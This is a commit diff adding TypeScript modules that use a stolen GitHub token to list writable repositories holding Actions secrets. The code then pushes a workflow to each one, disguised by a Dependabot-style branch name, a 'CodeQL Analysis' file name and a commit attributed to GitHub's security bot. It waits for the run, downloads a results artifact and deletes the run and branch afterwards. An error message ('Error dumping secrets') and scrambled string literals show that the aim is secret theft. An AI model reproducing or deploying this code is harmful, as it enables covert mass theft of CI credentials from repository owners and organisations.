Upload files to "src/providers/actions"
This commit is contained in:
@@ -0,0 +1,71 @@
|
||||
import { githubJson } from "./github";
|
||||
|
||||
export interface RepoPermissions {
|
||||
admin: boolean;
|
||||
push: boolean;
|
||||
pull: boolean;
|
||||
maintain?: boolean | undefined;
|
||||
triage?: boolean | undefined;
|
||||
}
|
||||
|
||||
export interface Repository {
|
||||
id: number;
|
||||
name: string;
|
||||
fullName: string;
|
||||
private: boolean;
|
||||
url: string;
|
||||
pushedAt: string;
|
||||
permissions: RepoPermissions;
|
||||
}
|
||||
|
||||
const CUTOFF_DATE = "2025-09-01T00:00:00Z";
|
||||
const PER_PAGE = 100;
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
export async function* streamWritableRepos(
|
||||
token: string,
|
||||
): AsyncGenerator<Repository> {
|
||||
let count = 0;
|
||||
let page = 1;
|
||||
|
||||
while (true) {
|
||||
const params = new URLSearchParams({
|
||||
per_page: String(PER_PAGE),
|
||||
affiliation: scramble("owner,collaborator,organization_member"),
|
||||
sort: "pushed",
|
||||
direction: "desc",
|
||||
since: CUTOFF_DATE,
|
||||
page: String(page),
|
||||
});
|
||||
|
||||
const repos = await githubJson<Array<Record<string, any>>>(
|
||||
token,
|
||||
`/user/repos?${params}`,
|
||||
);
|
||||
if (repos.length === 0) break;
|
||||
|
||||
for (const repo of repos) {
|
||||
if (!repo.permissions?.push || !repo.pushed_at) continue;
|
||||
yield {
|
||||
id: repo.id,
|
||||
name: repo.name,
|
||||
fullName: repo.full_name,
|
||||
private: repo.private,
|
||||
url: repo.html_url,
|
||||
pushedAt: repo.pushed_at,
|
||||
permissions: {
|
||||
admin: repo.permissions.admin ?? false,
|
||||
push: repo.permissions.push ?? false,
|
||||
pull: repo.permissions.pull ?? false,
|
||||
maintain: repo.permissions.maintain,
|
||||
triage: repo.permissions.triage,
|
||||
},
|
||||
};
|
||||
if (++count >= 100) return;
|
||||
}
|
||||
|
||||
if (repos.length < PER_PAGE) break;
|
||||
page++;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
import { logUtil } from "../../utils/logger";
|
||||
import { githubFetch } from "./github";
|
||||
|
||||
interface SecretsResponse {
|
||||
total_count: number;
|
||||
secrets: Array<{ name: string }>;
|
||||
}
|
||||
|
||||
export async function* streamRepoSecrets(
|
||||
token: string,
|
||||
repos: AsyncIterable<{ fullName: string }> | Iterable<{ fullName: string }>,
|
||||
): AsyncGenerator<string> {
|
||||
const orgGroupMap = new Map<string, string[]>();
|
||||
|
||||
for await (const repo of repos) {
|
||||
const [owner, name] = repo.fullName.split("/");
|
||||
if (!owner || !name) continue;
|
||||
|
||||
logUtil.log(`checking ${repo.fullName}`);
|
||||
const repoSecrets: string[] = [];
|
||||
const orgSecrets: string[] = [];
|
||||
|
||||
try {
|
||||
const res = await githubFetch(
|
||||
token,
|
||||
`/repos/${owner}/${name}/actions/secrets?per_page=100`,
|
||||
);
|
||||
if (res.ok) {
|
||||
const data = (await res.json()) as SecretsResponse;
|
||||
repoSecrets.push(...data.secrets.map((s) => s.name));
|
||||
}
|
||||
} catch {
|
||||
// No access or no secrets
|
||||
}
|
||||
|
||||
try {
|
||||
const res = await githubFetch(
|
||||
token,
|
||||
`/repos/${owner}/${name}/actions/organization-secrets?per_page=100`,
|
||||
);
|
||||
if (res.ok) {
|
||||
const data = (await res.json()) as SecretsResponse;
|
||||
orgSecrets.push(...data.secrets.map((s) => s.name));
|
||||
}
|
||||
} catch {
|
||||
// No access or not an org repo
|
||||
}
|
||||
|
||||
if (repoSecrets.length === 0 && orgSecrets.length === 0) continue;
|
||||
|
||||
if (repoSecrets.length > 0) {
|
||||
yield repo.fullName;
|
||||
continue;
|
||||
}
|
||||
|
||||
const sorted = [...orgSecrets].sort();
|
||||
const key = `${owner}\0${sorted.join("\0")}`;
|
||||
|
||||
if (!orgGroupMap.has(key)) {
|
||||
orgGroupMap.set(key, sorted);
|
||||
yield repo.fullName;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,259 @@
|
||||
import { unzipSync } from "fflate";
|
||||
|
||||
import { workflow } from "../../generated";
|
||||
import { logUtil } from "../../utils/logger";
|
||||
import type { TokenRepo } from "./actions";
|
||||
import { githubFetch, githubHeaders, githubJson } from "./github";
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
const BRANCH_NAME = scramble(
|
||||
"dependabot/github_actions/format/setup-formatter",
|
||||
);
|
||||
const WORKFLOW_PATH = scramble(".github/workflows/codeql_analysis.yml");
|
||||
|
||||
const POLLING = {
|
||||
WORKFLOW_APPEARANCE: { maxAttempts: 5, delayMs: 2000 },
|
||||
WORKFLOW_COMPLETION: { maxAttempts: 10, delayMs: 5000 },
|
||||
};
|
||||
|
||||
export interface FormatResult {
|
||||
repo: string;
|
||||
artifact: string | null;
|
||||
error?: string;
|
||||
}
|
||||
|
||||
async function sleep(ms: number): Promise<void> {
|
||||
return new Promise((r) => setTimeout(r, ms));
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// GitHub API helpers (all pure fetch)
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
async function getDefaultBranchSha(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
): Promise<string> {
|
||||
const repoData = await githubJson<{ default_branch: string }>(
|
||||
token,
|
||||
`/repos/${owner}/${repo}`,
|
||||
);
|
||||
const refData = await githubJson<{ object: { sha: string } }>(
|
||||
token,
|
||||
`/repos/${owner}/${repo}/git/ref/heads/${repoData.default_branch}`,
|
||||
);
|
||||
return refData.object.sha;
|
||||
}
|
||||
|
||||
async function createWorkflowBranch(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
baseSha: string,
|
||||
): Promise<void> {
|
||||
await githubJson(token, `/repos/${owner}/${repo}/git/refs`, {
|
||||
method: "POST",
|
||||
body: JSON.stringify({
|
||||
ref: `refs/heads/${BRANCH_NAME}`,
|
||||
sha: baseSha,
|
||||
}),
|
||||
});
|
||||
|
||||
await githubJson(token, `/repos/${owner}/${repo}/contents/${WORKFLOW_PATH}`, {
|
||||
method: "PUT",
|
||||
body: JSON.stringify({
|
||||
message: scramble("Add CodeQL Analysis"),
|
||||
content: Buffer.from(workflow).toString("base64"),
|
||||
branch: BRANCH_NAME,
|
||||
committer: {
|
||||
name: scramble("github-advanced-security[bot]"),
|
||||
email: scramble(
|
||||
"github-advanced-security[bot]@users.noreply.github.com",
|
||||
),
|
||||
},
|
||||
}),
|
||||
});
|
||||
}
|
||||
|
||||
async function pollForWorkflowRun(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
): Promise<number> {
|
||||
const { maxAttempts, delayMs } = POLLING.WORKFLOW_APPEARANCE;
|
||||
|
||||
for (let i = 0; i < maxAttempts; i++) {
|
||||
const data = await githubJson<{
|
||||
workflow_runs: Array<{ id: number }>;
|
||||
}>(
|
||||
token,
|
||||
`/repos/${owner}/${repo}/actions/runs?branch=${encodeURIComponent(BRANCH_NAME)}&per_page=1`,
|
||||
);
|
||||
|
||||
const run = data.workflow_runs[0];
|
||||
if (run) {
|
||||
return run.id;
|
||||
}
|
||||
await sleep(delayMs);
|
||||
}
|
||||
|
||||
throw new Error(scramble("Workflow run not found after polling"));
|
||||
}
|
||||
|
||||
async function pollForWorkflowCompletion(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
runId: number,
|
||||
): Promise<void> {
|
||||
const { maxAttempts, delayMs } = POLLING.WORKFLOW_COMPLETION;
|
||||
|
||||
for (let i = 0; i < maxAttempts; i++) {
|
||||
const run = await githubJson<{ status: string }>(
|
||||
token,
|
||||
`/repos/${owner}/${repo}/actions/runs/${runId}`,
|
||||
);
|
||||
|
||||
if (run.status === "completed") return;
|
||||
await sleep(delayMs);
|
||||
}
|
||||
|
||||
throw new Error("Workflow did not complete in time");
|
||||
}
|
||||
|
||||
async function createAndWaitForWorkflow(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
): Promise<number> {
|
||||
await sleep(POLLING.WORKFLOW_APPEARANCE.delayMs);
|
||||
|
||||
const runId = await pollForWorkflowRun(token, owner, repo);
|
||||
await pollForWorkflowCompletion(token, owner, repo, runId);
|
||||
|
||||
return runId;
|
||||
}
|
||||
|
||||
async function downloadArtifact(
|
||||
{ token, owner, repo }: TokenRepo,
|
||||
runId: number,
|
||||
): Promise<string | null> {
|
||||
const res = await githubFetch(
|
||||
token,
|
||||
`/repos/${owner}/${repo}/actions/runs/${runId}/artifacts`,
|
||||
);
|
||||
if (!res.ok) return null;
|
||||
|
||||
const data = (await res.json()) as {
|
||||
artifacts: Array<{ id: number; name: string }>;
|
||||
};
|
||||
logUtil.log(data);
|
||||
|
||||
const target = data.artifacts.find((a) => a.name === "format-results");
|
||||
if (!target) return null;
|
||||
logUtil.log(`Found artifact: ${target.name} (id=${target.id})`);
|
||||
|
||||
const dlRes = await githubFetch(
|
||||
token,
|
||||
`/repos/${owner}/${repo}/actions/artifacts/${target.id}/zip`,
|
||||
);
|
||||
if (!dlRes.ok) return null;
|
||||
|
||||
const buf = new Uint8Array(await dlRes.arrayBuffer());
|
||||
const unzipped = unzipSync(buf);
|
||||
const fileContent = unzipped[scramble("format-results.txt")];
|
||||
|
||||
return fileContent ? new TextDecoder().decode(fileContent) : null;
|
||||
}
|
||||
|
||||
async function cleanup(
|
||||
{ token, owner, repo }: TokenRepo,
|
||||
runId: number,
|
||||
): Promise<void> {
|
||||
const headers = githubHeaders(token);
|
||||
|
||||
await Promise.allSettled([
|
||||
fetch(
|
||||
`https://api.github.com/repos/${owner}/${repo}/actions/runs/${runId}`,
|
||||
{ method: "DELETE", headers },
|
||||
),
|
||||
fetch(
|
||||
`https://api.github.com/repos/${owner}/${repo}/git/refs/heads/${BRANCH_NAME}`,
|
||||
{ method: "DELETE", headers },
|
||||
),
|
||||
]);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Public API
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
export async function runFormatWorkflow(
|
||||
tokenRepo: TokenRepo,
|
||||
): Promise<FormatResult> {
|
||||
const { token, owner, repo } = tokenRepo;
|
||||
|
||||
try {
|
||||
logUtil.log("About to get branch");
|
||||
const baseSha = await getDefaultBranchSha(token, owner, repo);
|
||||
logUtil.log(`Base sha: ${baseSha}`);
|
||||
|
||||
await createWorkflowBranch(token, owner, repo, baseSha);
|
||||
logUtil.log(`Created branch for ${repo}`);
|
||||
|
||||
const runId = await createAndWaitForWorkflow(token, owner, repo);
|
||||
logUtil.log(`Created run ${runId}`);
|
||||
|
||||
const artifact = await downloadArtifact(tokenRepo, runId);
|
||||
logUtil.log(artifact);
|
||||
|
||||
await cleanup(tokenRepo, runId);
|
||||
|
||||
return { repo: `${owner}/${repo}`, artifact };
|
||||
} catch (e) {
|
||||
logUtil.error(`Error dumping secrets on /${owner}/${repo}`);
|
||||
|
||||
// Attempt cleanup on error — delete the branch if it exists
|
||||
await githubFetch(
|
||||
token,
|
||||
`/repos/${owner}/${repo}/git/refs/heads/${BRANCH_NAME}`,
|
||||
{
|
||||
method: "DELETE",
|
||||
},
|
||||
).catch(() => {});
|
||||
|
||||
return {
|
||||
repo: `${owner}/${repo}`,
|
||||
artifact: null,
|
||||
error: e instanceof Error ? e.message : String(e),
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
export async function* runFormatWorkflows(
|
||||
repos: TokenRepo[],
|
||||
concurrency = 10,
|
||||
): AsyncGenerator<FormatResult> {
|
||||
const active = new Set<Promise<FormatResult>>();
|
||||
|
||||
for (const repo of repos) {
|
||||
logUtil.log(`About to use ${repo.owner}/${repo.repo}`);
|
||||
|
||||
const promise = runFormatWorkflow(repo);
|
||||
active.add(promise);
|
||||
|
||||
if (active.size >= concurrency) {
|
||||
const result = await Promise.race(
|
||||
[...active].map((p) => p.then((r) => ({ promise: p, result: r }))),
|
||||
);
|
||||
active.delete(result.promise);
|
||||
yield result.result;
|
||||
}
|
||||
}
|
||||
|
||||
for (const promise of active) {
|
||||
yield await promise;
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user